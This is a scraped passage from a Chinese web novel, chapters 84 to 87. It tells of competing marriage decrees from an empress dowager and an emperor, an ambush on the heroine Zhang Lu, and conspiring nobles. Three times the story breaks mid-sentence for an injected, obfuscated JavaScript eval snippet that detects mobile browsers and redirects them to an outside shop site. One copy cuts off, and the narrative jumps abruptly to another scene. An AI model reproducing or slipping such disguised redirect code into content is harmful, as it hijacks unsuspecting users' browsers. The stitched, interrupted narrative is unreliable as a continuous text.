这未尽之意,虞庆侯省得。这也是他觉得恼恨的地方,太后如今连面子功夫都不要了,直接逼婚,这哪儿是想结婚啊,简直是要结仇!宣读了旨意,等同于整个长安城的人都知道了,到时候以讹传讹,章麓若是没嫁,只怕都会说是虞庆侯府踩高捧低,安国侯一朝落魄,便做主悔婚,以后于小女儿的婚事也有碍。 哎,也罢,大不了还在范阳寻摸,反正这长安城里的人心思都如蜂窝一样,人均八百个心眼子,实在是瘆得慌。 虞庆侯面色灰沉:“没关系,臣是陛下的臣,过去终于陛下,日后也定忠于陛下,只要陛下在侯府的荣耀便在,小女无需攀附什么权贵,更不会为了权势去嫁像崔敏先这样的纨绔。臣与夫人都觉得,家中子女的婚事上,只要对方人品无恙,适合身份地位都不重要。” 说完,又找补道:“当然,还必须是大梁子民。” 泰安帝挑眉看他:“不是崔敏先。” “什么?” 泰安帝摸了摸下巴,不太自在的说到:“太后给的赐婚对象不是崔敏先,毕竟他……咳咳。” “那是谁?难不成真是卫王世子?可听闻他前日刚从青楼赎了个琴女回来……这,怕是也不太合适。”虞庆侯委婉的说到。 泰安帝轻咳两声,道:“正是。” “什么?还真是!”虞庆侯声如洪钟,一蹦三尺高!整个人都在暴躁的边缘徘徊,他像个无头苍蝇一样在原地打转,“太后……太后怎能如此!臣……臣……”不能说脏话,不能辱骂皇室,直把脸色憋的通红。 泰安帝赶忙安抚,他一把拉住虞庆侯的胳膊,将人按在椅子上,自己则坐在他旁边,敲了敲桌,说:“爱卿放心,此事并非无解,如今懿旨已达,事情已无转圜余地,但朕有一法子,可以扭转乾坤。” 虞庆侯此时心累至极,已经不想再兜圈子了,拱手讨饶道:“还请陛下明言。” “朕下旨赐婚,至于这人选嘛……”泰安帝手指沾着茶水,在桌子上写下了个一个名字。 “这……”虞庆侯的目光粘在桌面上,那浅浅的水印就像滔滔洪流一般直撞心底。他有些不敢置信,惊讶的抬头看向泰安帝:“可……可否容臣回去与夫人相商一二?” 他站起身,跪在泰安帝面前,沉声道:“陛下,臣自知手握重权,这六十万兵马遭多方觊觎,但臣只想做纯臣,帮陛下守护黎明百姓,并不想涉入党争。臣入京前,从未想过儿女婚事竟会引出诸般暗争,虽太后事情做绝,但臣依旧想保持中立,所以……” “爱卿莫急。”泰安帝打断虞庆侯的话:“儿女婚事不代表你的立场,且虞庆军为戍边军,无召不得离守。你是汉将,幽云十六州的藩镇节度使听你的也是应该。只是如今这些外邦人心大得很,朕也不可能一直留着他们。到时候换上了咱们自己人,你便能松快松快,颐养天年,你说是不是?” 虞庆侯额上冒出了些冷汗:“是是是,陛下说得对。臣老了,是时候放权给年轻人。” “哎,其实你也不必太过忧心,你女儿嫁进来那是享福的命。朕本就属意这位继位,自然对他有颇高期望。宁他是条咬死父亲的巨龙,也不能是条任人践踏的毛虫。你可明白?” 虞庆侯被这话惊得说话都有些磕绊:“可……” “可什么?难道你觉得太后所赐更好?那朕可以叫人将懿旨拿过来加盖玉玺……” “嫁!”虞庆侯咬牙。 泰安帝脸上笑眯眯的,见他一副无可奈何的模样,劝慰道:“爱卿放心。”他点了点桌子上的名字,说:“若不是他亲口向朕提及,朕还舍不得令嫒受此委屈,毕竟是朕的儿子,朕还是了解的,性情和才学上定是比不得赐婚给章引玉的王临之。但他于情爱上就是个榆木疙瘩,这般开口定是开了窍,日后也会待令嫒好的。” 84. 第 84 章 尹水行宫一直热闹到了临近午膳的时间,众人才依依不舍的移步尹水畔,准备曲水流觞。 李谨渊因着担心妹妹,方才匆匆带人赶来荷香园,如今再想提前溜走显然不可能。 蝉鸣宴的曲水流觞并非传统意义上的曲水流觞,而是互相有好感的男女,在一望无际的河畔结对说小话。章引玉有婚约,自然是不会去凑这个热闹,而章麓的心已经落在三皇子身上,就不会给别人希望。 因此,两人就与七公主一道,单独找了个离人群稍远、有树荫的地方坐下。章麓找了些适合做柴火的干树枝,在几块大石头前面架起了篝火,又扎了个简易的木架子。 李明月没见过这东西,便问:“做这个干什么?” 章麓拍了拍手,说:“野炊。我刚瞧见这片林子里有兔子,可以打几只来烤着吃。” 听见是兔子,李明月顿时失了兴趣,她双手托腮道:“兔子单纯烤着太腥,不好吃。” 章麓说:“那还做法不对,在范阳的时候,军中的老斥候经常在野外单独过夜,非常会做野味,他教过我如何烤兔子,待会儿我烤给你尝尝。” 李明月一听,眼睛顿时亮了起来,高兴到:“好呀好呀!” “可是没弓箭,怎么狩猎?”章引玉问。 章麓从怀中摸出一把弹弓,在两人面前扬了扬,说:“用这个就行。” 临近中午,太阳高高挂着,夏日炎热,暑气有些重。李明月的侍女像劝公主呆在凉棚下,可李明月好奇,偏要和章引玉一起跟着章麓一起进林子猎兔子。 对于时不时提出疑问的李明月,章麓也颇有耐心一一解答。三人正说着话,右边数丈之外,突然传来一声惊呼。三人一顿,站在原地朝声音来源之地张望,只见十几个穿着短打的大汉从那边冲了过来。 公主护卫直接拔刀护住三人,扬声道:“休要再上前一步!” 可对方并没有停下,反而加快了步伐。 “来者不善,小心!”章麓将两人护在身后,拔出了小腿上绑着的匕首。 公主护卫皆是出自羽林卫,都是上过战场身经百战的,自是不惧这种流寇。然而打着打着,就发现了不对劲。对面的人使的刀法张弛有度,且训练有素还会结阵,明显不是流寇,有备而来! 难不成是要刺杀七公主? 不管心中如何惊讶,羽林卫都不可能让他们近了公主的身,否则回去肯定要被惩处,挨鞭子都是轻的,很有可能直接处死。 对面蒙着面的人也发觉了不对劲,之前只说要抓的女子会武,可没说她身边的护卫也各个如此强悍。再加上面前有三个人,有一个一瞧就知道毫无根基,另两个一个根基弱,一个根基强,明显都会武,到底是要抓哪一个? 首领分不清,可这群护卫实在太能打,眼瞅着就要露出颓势,也管不了那么多,直接打了个呼哨,将隐藏在林中的后手也都叫了出来,一起围攻。 章麓眼见情势不妙,将李明月交给章引玉,抬手就将批砍过来的一把刀挡住。只听得‘当啷’一声,那匪徒再将刀收回时,就见到刀刃上出现了一个豁口。他惊疑不定的看向章麓手中的匕首,来不及思考,赶忙退出了战圈,朝首领报告。 因着对方人多势众,羽林卫渐渐不敌。章麓已经加入战场,一双手将手里的匕首转出了花,可对方皆是长刀,她的短刃一直处于劣势,实在放不开。 在添了两道伤口之后,章麓果断放弃匕首,将伤亡之人落在地上的刀捡了起来。 刀身映着灼灼日光,反射出极为冷冽的白光,刺向匪徒的眼眸。 待他们看清时,章麓已经御使着三把刀朝他们飞砍而来。 “三刀流!”那首领眸光一定,命令道:“抓她!” 只见章麓双手各持一刀,另一刀在双刀和肩膀处旋转划过,宛若回转的水袖一般顺滑,间接的加长了刀刃攻击的距离,加大了杀伤面积。 火红的裙装随着章麓的旋转、突刺、后撤、左右腾挪等等动作翻出了不同的层次,若是忽略刀剑,真真如玄女云上舞,轻盈又多姿。 章麓的三刀流出乎这群匪徒的意料,又有羽林卫在一旁协助配合。大约半盏茶的功夫,便将这群匪徒打的七零八落,宛如秋风扫落叶一般。 羽林卫熟门熟路的牵制住了三个人,留下了活口。 这边的动静自然惊动了其他人,只不过因着匪徒众多,闺秀们不敢靠前,而公子们会武的又不多。李谨渊想要让身边的羽林卫都去救人,但羽林卫怕匪徒是调虎离山,只敢派出去三人支援,另遣一人去行宫找守卫。 众人皆以为章麓三人凶多吉少,李诗龄也早就做好打算,待匪徒将章麓和章引玉掳走,她就派人去传谣言。到时候,就算章引玉被赐婚给了王临之又怎样,她才不信王家会愿意娶一个失了贞的姑娘。 可惜,结果注定令她失望。 章麓的武艺自小得四位师傅教导,再加上走南闯北四五年,还有训练有素的羽林卫配合,对付人数只多于他们半成的匪寇还是绰绰有余的。 李诗龄见只是羽林卫有伤亡,而章麓一行三人还好好的,眼神里的愤恨藏都藏不住,连慰问一番都面子都懒得做,扭头就走。 可就在此时,无论是上前嘘寒问暖的公子,还是躲在旁边害怕被波及的闺秀,亦或者怀揣心事的李诗龄和崔梦宜,都被行宫护卫簇拥着的内侍打断了接下来的动作。 只见,太后身边的伴架内侍举着明黄色的圣旨,随着行宫护卫一路跑了过来,见到章麓没事,才长舒一口。 展开圣旨宣读道:“太后懿旨到,虞庆侯府次女章麓接旨——” 内侍尖细的嗓音在树林外荡漾开来,众人呼啦啦跪了一片,章麓更是被拉着跪在了最前面。 章麓蹙眉,不知道太后给她发什么懿旨,但总归不是什么好事。 果然,随着懿旨的宣读,她的脸色越来越难看,周围闺秀、公子们的脸色也变得千奇百怪,唯独崔梦宜震惊的抬起头,恨不得给那封懿旨盯出个洞来。 太后许诺过,要她自己去争取嫁给李啸林的,现在又算是什么? 这懿旨出人意料,却不在李明月的意料之外,但赐婚对象着实令她大吃一惊。不是崔敏先,而是李啸林!太后莫不是真的疯了! 让章麓嫁给李啸林对她有什么好处? 李明月此行的目的本也在此,李鹤霖早先推断太后会狗急跳墙,便让她来拖延时间。之前迟迟没见到太后有什么动静,还以为是三皇兄判断错误,没想到竟是等宴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13002940|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会快结束了才来,而且对象也与三皇兄的猜测大相径庭。 章麓还未接过懿旨,李明月便直接站起身,看向宣旨的内侍,问道:“太后如此做,问过父皇了吗?” 面对李明月的突然发难,内侍有些没反应过来。他本以为出声质疑的会是章麓,毕竟太后在他临行前告诫过,说虞庆侯府六姑娘桀骜难驯,不是个好相与的,让他宣了旨就走,不必逗留。 可如今出声的是陛下最为宠爱的七公主,他可不敢不给面子直接扭头走人,否则到时候七公主往陛下面前一告状,他的小命就没了。 他只能恭敬的回到:“这个奴才就不知道了,公主可以问陛下。” “本宫今日就要问你!”李明月上前两步,趁其将圣旨悬停在章麓面前时,一把将懿旨夺了过来,打开仔细看了看。 太后尊印、私印,甚至包括玉玺大印一个不少,自泰安帝登基以来,太后以陛下软弱,易听耳旁风这种可笑理由强行占了玉玺,但为了自己和崔家的体面,从未在不经内阁商量就盖下玉玺大印。但如今却破了例!这当真是为了崔家直接不要脸皮了! 可惜……李明月冷笑一声:“这圣旨上既没有陛下金印也没有内阁金印,根本做不得数!” 自泰安帝开朝以来,只赦造过两方宝印,分别为传国玉玺和陛下的九龙金印。内阁不满太后霸占玉玺,便对太后的命令阳奉阴违,只以陛下的九龙金印为尊。 而太后尊印则是陛下为彰显太后尊容所铸,并没有实际用处,赐婚这等事还是需要加盖玉玺或者九龙金印,再下发内阁盖印方可奏效。 李明月心道,三皇兄看上的人,自是不可能让给别人,更何况是安国侯那个.老.不.死.的家伙。 对于七公主的质问,内侍并没有慌乱,只说:“今日陛下召见内阁,公务繁忙,自是没空处理这些小事,待陛下忙完了,自会让内阁加盖印玺。” “画大饼谁不会。”李明月瞪了他一眼。虽说这懿旨不合规矩,但若是章麓不拒绝,即便现在没有加盖内阁印章,日后太后为了顺利成章也会加盖上去。 她有些担忧的看向章麓,只见对方慢慢站起身,脸上不悲不喜,目光平静的看向将旨意捧在她面前的内侍,凉声道:“这旨我不会接,内官请回吧。” 内侍见对方抗旨不遵,刚被七公主下面子的火气登时就往上窜了窜,脸上的笑意霎时变得冰冷,站直腰板,颇具威势的说到:“县主抗旨不遵,是不将太后放在眼里?” “就是,卫王世子可是皇亲国戚,自当荣耀才是。”接圣旨的人站起了身,其他人也站了起来,李诗龄自不例外,她站在一旁脸色冷淡,她没想到太后居然会如此赐婚,不过也没关系,嫁进去之后搓扁揉圆还不是堂哥说了算。倒是她想借人来玩儿玩儿,想必堂哥也不会反对,这般思索过后,李诗龄心中又痛快起来。 可就在此时,听闻太后懿旨之后,就偷偷跑出去想要入宫告状的李谨渊,让护卫背着胖乎乎的孟德才举着明黄圣旨往这边跑。 “父皇圣旨!父皇圣旨!快!给虞庆侯府六姑娘的赐婚圣旨——” 前脚太后懿旨刚到,后脚皇上的圣旨便到,难不成真要将章麓赐婚给卫王世子?众人的目光再次聚集在了章麓身上。 85. 第 85 章 孟德才被侍卫放下,感觉腿都是软的,他手中有两份圣旨,他拿起其中一份,看向李谨渊,说:“四皇子,按照规矩,应先宣读您的那一份。” “哦哦。”李谨渊反应过来,噗通一下跪的干脆利落,催促道,“宣吧。” 众人不明所以,稀稀拉拉的跪倒一片。 孟德才尖细的嗓音于众人头顶响起—— “门下:奉泰安帝亲谕:百行之原莫先于孝,事亲之道子女不殊。承天地之允昭,宜社稷之繁兴。尔四皇子李谨渊乃朕之亲子,性生沉稳,仪备端方;文则博古通今,誉素彰于国子监;武则御马有术,能允洽于怀秋宫。顷以朕心甚慰,尔过舞象之年,应顺承天意,历练于民间。兹特封尔为二品瑞郡王,锡之金册,纳唐州南阳郡为封邑,加食邑四万,褒孝敬之中孚。钦此。” 宣完旨意,孟德才并未将圣旨递给李谨渊,而是十分客气的说到:“瑞王,这封圣旨般得匆忙了些,此乃陛下‘画日’之卷,还未着中书省抄写腾挪,待中书省留档之后,在递交与您一份册书。” “无妨无妨,赶快宣下一个!完事儿本王再回宫里谢恩!”李谨渊催促道,他又不是傻子,自太后下旨,到自己妹妹公然反驳,便知道三皇兄交代的事情是什么了。自然要紧着三皇兄的事情来,毕竟这可是未来三皇嫂啊!可不能真让别家给叼走了。 孟德才自然知道接下来这般旨意的重要性,也没让众人起身,紧接着展开第二封圣旨宣读。 “门下:奉泰安帝亲谕:虞庆侯嫡次女章麓,诞生望族,佐治幽云十六州,德才兼备,孝敬性成,温婉恭良,着赐婚于淳郡王李鹤霖,晋封正妃,以章淑德。钦此。特行传谕,工、礼二部协皇室监礼司遴选吉日应行典礼。” 园中春风徐徐,荷花塘上的荷叶迎风飞舞,鸟儿亦愉悦歌唱。然而除了章麓谢恩的声音,再无其他声响。 众人还陷在刚刚孟德才的声音中没有回过神来。反倒是李诗龄最先跳起来,打破平静。 “不对!太后已经下旨将章麓赐给堂哥了!怎么能一女二嫁!父皇这圣旨不做数!” 孟德才翘起的嘴角平了一些,挑眉道:“不知太后懿旨何在?” 旁边的内官不敢吭声,李诗龄见状,两步上前一把将懿旨从他手中夺过来,展开给孟德才看,耀武扬威的说到:“瞧见没!这时太后娘娘的旨意!太后是祖母,是父皇的母亲,而且是她先颁的旨意,章麓已经是卫王府的人了!怎么能再嫁给三皇兄!” 她知道崔梦宜喜欢三皇兄,她与崔梦宜交好,素知她为三皇子付出了多少,自然不肯看她的打算落空。她虽不喜安国公府,但她喜欢总是夸奖她的崔梦宜,自然喜欢她能做自己三皇嫂,这样以后她便不用再惧怕三皇兄了。 可父皇竟赐婚章麓与三皇兄,她与章引玉不对付,对章麓也没好感,若是叫章麓成了三皇嫂,有了与五皇兄叫板的能力,那日后哪儿还有她的好日子过! 对方虽然不受宠,但毕竟是公主,孟德才也不好将话说的太难看,只摆明事实讲道理:“回六公主,此懿旨没有加盖陛下九龙金印和内阁金印,便做不得数。且三皇子如今被封淳郡王,享兖州东平、鲁白两郡,六万食邑,章六姑娘嫁过去便是二品郡王妃,论尊容自是强过做世子夫人。更何况,章氏一族驻守边关百年,乃我朝大功之臣,总不好叫人家女儿嫁与一位……纨绔吧?这好说不好听,传出去叫朝臣如何想陛下?于陛下威望也有影响,您说对吧?” “父皇驳了皇祖母的旨意才影响威望!这是不孝……” “放肆!”雨陶郡主眼见孟德才脸色黑了起来,赶忙打断李诗龄的话,斥责道:“陛下乃天子,虽你贵为公主,但陛下乃一国之体,岂容你如此忤逆污蔑!” 这句话震醒了一时上头的李诗龄,吓得对方浑身发麻,头晕目眩。 孟德才也不欲与之多言,恭敬朝章麓行了礼,恭喜了对方几句,便赶着回宫复命了。 章麓打开圣旨,上面盖着皇帝的九龙金印和三省金印,比太后懿旨不知正式了多少倍。 旁人的窃窃私语章麓是一句都听不到了,李诗龄愤愤的待人离开了行宫,雨陶郡主指挥人将受伤的金吾卫抬去御医院。 众人告辞的告辞,抬人的抬人,再次忙乱了起来。 * 离开尹水行宫前,众人也没想到今年的蝉鸣宴竟会以如此潦草的方式结束。 回府的路上,章麓的马车在平江街被卢康拦下。对方恭敬的向她拱手行礼,说:“新安县主,王爷想与您说两句话,不知是否方便?只需姑娘随马车一道前往,王爷与姑娘隔窗相谈,绝不唐突姑娘。” “可。” 马车随着卢康一路朝北,穿过两条街道,停在一条鸣鹿巷的巷口。 章麓挑帘瞧了瞧,巷子里只有一户人家,高门大院,还未挂牌匾。台阶上坐着一个年轻男子,身着玄青色银纹锦袍,头戴双珠云纹发冠,见她的马车停下,径直站起身往这边走来。 待走到车窗边,章麓才发现他头顶的发冠镶嵌的双珠皆龙眼大小,是上好的金色海珍珠。这等珍珠被称为‘龙珠’,是泉州的贡品。 她曾在大相国寺寺远远的瞧过,当时贤王接贤王妃回府,那八颗龙珠在发冠上熠熠生辉。如今倒是第一次在李鹤霖的头上瞧见,联想到之前的封王旨意,这龙珠的数量想必是品级的象征。 “不知王爷找我有何事?”章麓笑意吟吟地看向他。 李鹤霖看着章麓的脸庞,方才远远瞧着便知她今日装扮与往日区别甚大,单看她繁复的发髻和精致的妆容,便能想象出她身着华服衣裙,是何等的风姿绰约。 他垂下眼眸,道明来意:“章姑娘,今日父皇指婚,意在不愿姑娘所嫁非人,被蹉跎余生,并非想要虞庆侯站队,成为我的拥趸,希望姑娘不要误会。之前在平原郡时,许诺让姑娘想清楚再做决定,如今却没有做到,我心中有愧。我知道范阳百姓大多能自由婚配,不像长安城皆是父母之命媒妁之言。但日后,我定会对姑娘好的,希望姑娘别生怨怼。” 马车里的章引玉捂着嘴艰难忍笑,章麓的眉眼间也生出一缕异色,但她不想被对方误会,还是强忍住了。心思转了转,忽而闻问到:“王爷以前可有过心仪女子?” “不曾!”李鹤霖答得很快,且声如洪钟,吓了章麓一跳。见状,他连忙找补:“以前真的不曾有过心仪之人,在平原郡对姑娘所说的话字字属实,姑娘便是我唯一心仪之人。” 章麓终于忍不住笑了出来,语气轻快的说到:“王爷是皇子,与臣女说话倒也不必如此小心。这世间女子活着比男子艰难,爱情是稀缺品,自我生存与发展才是必需品。即便范阳百姓也不能免俗。日后若臣女得嫁王爷,必会恪守宫规礼仪,尽后宅女子之本分,与王爷相敬如宾。” 李鹤霖怔愣的抬眼瞧了下对方,再次垂眸时,背在身后的双手不由握紧成拳。 “其实,我并不想相敬如宾的过日子。”他的声音带着些许不易察觉的失落,他抬起头,目光直视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13016114|130007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着对方那双好看的眼睛,一字一句间皆被郑重填满:“夫妻本是同林鸟,应当相知相拥,相互扶持。我说的对你好,是会尊重你的意见、想法、选择,爱护你的情感、身体、情绪。在平州的时候,章启说你是个有智慧有能力的女子,被困在后宅太过委屈。我也不想掩盖你的锋芒,任由你被蹉跎掉一身华光。我父亲虽然很爱我娘,但他毕竟将自己分给了很多女人,我见过母亲的苦,不想我的妻子也如同她一样。你明白我的意思吗?” 章麓没说话,她被眼前这位位高权重的男人所说的话震撼到了。这是一席多么有违礼教、有违世俗的话。 她不敢置信的问到:“我明白你的意思,但你可知你说的话意味着什么?李鹤霖,我不是个心胸宽阔的人,若是你许诺了却没做到……” 李鹤霖心中的不安早已在说出这番话之后,被洗涤干净,此刻的他坦荡而坚定,他许诺:“一生一世一双人。” 话音刚落,扯帘瞬间被放下,车内的章引玉捂着嘴震惊的看着章麓。而后者内心的震动,令她眼眶泛起了涟漪。 再听这句话,章麓依旧不知所措。 李鹤霖:“我没有逼你的意思,从钦天监测算、礼部备仪,到交换婚事至少要一年的时日。我知道你之前对我好,多事为了将来能借我之力为章云锋报仇。我可以等,等你事成的那一天。” “我明白了。”章麓强压着声音中的颤抖:“李鹤霖,你有一颗赤子之心,不想辜负你认识的所有人。可身居高位者,这颗赤子之心却是致命尖刀,早晚有一天,会将您钉死在人心的罪恶里。” “我不觉得……” “王爷。”章麓打断对方:“今日既赐婚,王爷与臣女便是未婚夫妻,自是一体同心。” 李鹤霖口中的话咽了回去,应道:“好。” “王爷,我今日有些累了,先行一步。”章麓叫了车夫一声,马蹄哒哒,风轻轻撩起车窗上的幕帘,阳光下的脸庞似带着石榴色的红晕。 待马车走出很远,李鹤霖的才收回目光,他细品着方才章麓的话,一直没有出声。 身边的卢康方才就想说话,但碍于殿下正与章姑娘陈情,不好打扰,便一直忍着到现在,见人走了才敢出声劝到:“王爷,方才你不应如此许诺的,您将来毕竟要登上那个位置,为了平衡朝堂,如何做得到?” 李鹤霖的脸在日光的照耀下熠熠生辉,眼眸中灿若日出时的涟漪,似是等待时机翻起滔天巨浪。他轮廓分明的脸庞上显出一种坚毅,一种不可动摇的决心,说:“女子不是物件,不应称为政治的牺牲品。长安这块地方,用闺训、用礼教、用舆论、用偏见、用自身地位带来的权力,为她们铸造了一方囚笼与坟墓。却在偶尔心血来潮时,拔开坟墓告诉她们,瞧我为你送来了光,是不是对你很好?但光本就是她们拥有的东西,她们和我们一样,都有手有脚有脑子,若是自幼读书参加科考,又怎会比男人差?就像我姐姐,就像你娘亲。” 卢康无话可说,不说洛阳定国公主,单说她娘亲,当年在鄂州,是她成功治理了水患,使城中百姓免于涝灾,大军也有能有充足的后备粮草。为此,陛下封她为鄂州夫人,在鄂州的拦水坝上,还立有她的功勋碑。 可连陛下都无法做到的事,王爷当真能做到吗? “走吧。”李鹤霖骑上马,朝皇宫而去。 在阴影处,一个身影悄无声息的离开了躲藏的墙角。 李鹤霖勒住马,回头看了一眼那个阴暗的角落,神色晦暗。 86. 第 86 章 七公主、章麓、章引玉三人遇刺,加上太后和陛下同时下旨赐婚,即便提前结束令人遗憾,但也为未来数月平添了许多谈资。 这围绕的中心便是章麓,古往今来被太后和陛下同时争抢的第一人。 对于这件事,大家都是调侃,并无恶意。但李诗龄和崔梦宜就不同了,一个心碎一个梦碎,都恨不得章麓立时死去。 除了她们二人外,还有一人也气愤极了,便是慈安宫的太后。 在嬷嬷换上第四套全新的茶盏后,领事宫女悄声说道:“内务府的人说,若是再换,就要叫陛下察觉了。” 嬷嬷听罢,叹了口气,命她退下之后,独自一人走近了宫内。 “太后息怒,气坏了身子不值当。” 可太后哪儿还听得进去这些,此时于崔家来说,已然是山穷水尽。放眼整个大梁,论兵权能与虞庆侯比肩的,也就一个西洲侯。可西洲侯那个小女儿眼高手低,是个废人,那里能作为筹码绑死卫王府和西洲侯府?” 前年西洲侯夫人为小女儿办诗会,想替她择婿,结果她不是嫌弃这个人穷,就是嫌弃那个人诗写的不够好,要不然就是长相不够俊美,要么身材不够魁梧。总之,每个人都能被她挑出点毛病,没一个看得上的。 这样的女子如何配得上太后的外甥,又如何能执掌得好后宅。 太后站在一片狼藉之中,目光阴沉:“算命的果然没说错,他就是个讨债的!就是个生来克我的!当年我就该将他掐死!也省的我边逃荒边受苦,最后还见不得我半点好!” “娘娘!” 太后一甩袖,哭到:“怎么了!她都可以不孝不悌,忤逆于我,我还不能骂他两句了?他就是个不孝子!就是个生来克我的!当年若不是我割自己腿上的肉喂他,他早就死在逃荒路上了!还想坐上龙椅当皇帝?他做梦!” 凤栖宫内,皇后已除凤簪凤袍,只着素衣,正替陛下摘下上朝的冠冕,解开龙袍。 “陛下,您并没有做错什么,不必苛责自己。”皇后见他这两日神色郁郁,便宽慰他。 泰安帝长叹一声,道:“朕知道,朕并没有觉得自己错了。但朕是皇帝,在母后赐下懿旨的情况下又下了一道与之相反的旨意,就是忤逆,是不孝。朕是天下表率,绝不能开这个先河。否则人人效仿之,这天下就乱了。” “其实,朕明白母后的想法,她帮了自己弟弟一辈子,从出生就被祖父母教导,女子要帮扶哥哥弟弟,才会有依仗,有依仗在夫家的底气才能足。即便如今身居高位,成为这天下地位最尊贵的女子,依旧改变不了她可入骨髓的观念。”泰安帝的面色带着悲戚,眼神迷离,似是在思忆过往。 “小时候,不明白为什么家里有肉不让吃,母亲非要送给小舅舅。小舅舅也就比我大四岁,长得比我高,比我壮,看我的眼神就像是看一个乞丐一样。有一天我馋极了,就杀了家里的鸡,自己偷偷煮着吃,结果被母亲发现,狠狠打我一顿,煮鸡的水烫伤了很大一片,她半句安慰都没有,还说我是活该。” “后来长大了,知道村里的女子都是这般,即便出嫁了,也要贴补弟弟,因为男子才能光宗耀祖,女儿将来都是别人家的,是赔钱货。那时候我就下定决心,若我将来有个女儿,我绝对不会这样对她。我要尽我所能让她成为与男子并肩而立的存在,在洛阳身上,我真的做到了,她很好,比我母亲要好一万倍,对不对?” 皇后从背后拥着他,肯定道:“你做到了,洛阳是这世上顶好的女子,比任何人都要好。” “那就好,朕日后一定要想办法提拔女官,虽无法一蹴而就,但不破不立,只要口子撕开,子子孙孙的努力,总能改变。”他壮志雄心的说到。 “陛下定能做到。” 泰安帝点点头,拍了拍皇后的手说:“朕对得起母亲、女儿,将来也想对得起天下女子。可朕却对不起你,曾许诺一生一世一双人,最终却没能做到。” 此话一出,皇后哽咽一瞬,终是忍不住在刹那间泪如雨下。 这些年她不是没怨过,曾经她自觉配不上得中探花的风光少年郎,推拒了这门由双方祖父定下的婚事。可当时的李裕乾却告诉她,今生只会爱她一人,也只会娶她一人。 后来,她于邓州城之中,瞧着一顶顶软轿抬着一个又一个美人入府,她的心终是四分五裂,再难愈合。 哪怕她的夫君除了在明德殿处理政事,余下九成的时间都与自己待在一起;哪怕她的夫君从来都向着她一人,给予这后宫之中无可比拟的宠爱与荣光。在她的心里,她的少年郎终究不是自己的了。 泰安帝转过身紧紧拥住自己的妻子,任由对方的眼泪浸透自己的衣衫。 等两人平复情绪之后,携手往慈安宫走去。 这长长的宫道上,各宫各司有数不清的宫女内侍来来往往。每一个见到去掉冠冕发簪、身着素衣的帝后,都惊恐的跪倒在地。待两位走过去,才悄悄的抬眼望去,心里嘀咕着,何事能令帝后二人脱簪请罪? 消息很快传遍了大小宫闱,除了怡和宫的那位对什么事都不感兴趣外。其他几个宫室的妃嫔,有人摔碎了茶碗,有人扯烂了帕子。尤其是雍和宫那位,生生掐死了儿子养的鹦鹉。 李谨焕端着鸟事,冷眼瞧着养了五年的鹦鹉在母亲手中断绝生机,内心没有丝毫波动。 雍贵妃擦了擦手,神情冷冽的说:“你这位父皇,最是会做人情面子。他拉着皇后在太后面前演这么一出,天下谁敢说他不孝顺。到时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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卫王沉默不语,崔环眼神闪烁的说到:“我不过就是没有阻止你们的谋划罢了,就算真的查也查不到我身上。” 靖国公嗤笑一声,道:“崔环,你在自欺欺人吗?张锦的弟弟是如何被你拉下水的?你真当我不知道?济河漕运的源头可在登州,自登州码头转去济水,头一站便是乐安,若是你当真不想大捞一笔,完全可以拒绝。但你没有拒绝,如今还想置身事外,是不是想得太好了?” 他目光阴沉而锐利:“当年北宁关之事,你我他皆逃不了干系。李鹤霖的手伸得太深了,他已经摸到了终点,再摸到源头只是时间的问题。想活着,想继续荣华富贵的生活,就得从根源上解决问题。难不成,你不想继续当你的安国公了?” 崔环想了想,一咬牙:“行!那就干!” 87. 第 87 章 第二日朝堂上,泰安帝在朝臣日常奏请之后,突然抛下一道惊雷。 鲜卑与高丽突袭辽西与辽东,而都护府却毫无还手之力,实在令人震惊。因而京城内的禁军与世家子弟也不能坐以待毙,要加强自身。遂将于三日后于秋山猎宫举行夏猎,所有禁军、京畿、都畿府兵皆要参加,并于夏猎上一试高下。 ‘秋山’两个字,如同惊雷一般劈在众朝臣的脑门上。他们震惊的不是泰安帝突然定下了宫猎的日子,而是这地点选择了秋山。 秋山这个地方是前朝的皇家猎场,但自从六王之乱之后,这里便被弃用,转而在与香山相连的麓山开辟了新的猎场。自此,秋山周围的所有人马皆被撤回,直到大晋立朝都没提起这个地方一次,自然没有在此重新安排人手。 朝臣们想不明白为何要选在秋山举行游猎,更不明白为何定在三天之后如此匆忙,户部和工部都来不及去准备。然而泰安帝心意已决,任由朝臣如何争辩都没能改变他的心意。 泰安帝垂眸看着他们一脸惊慌窃窃私语的模样,心想:朕就是要打你们个措手不及。 下朝后,泰安帝直接下旨点名随行官员。 后宫的皇后、雍贵妃、景贵妃、良嫔、颜贵人皆在名单上,无一例外都是高门之女。在宫中太学的宗室子弟也一个不落的被点了进来,还有三品以上的文臣武将及其家眷。 而怡妃则被留在了宫中。 不过,虽说是以宫猎之名行禁军之间的比武大会,但禁军并未全部带走,而是只令各卫自挑一千精兵,其余均留在长安。南衙禁军暂时归章弋指挥调遣,北衙禁军则由萧雷代掌。 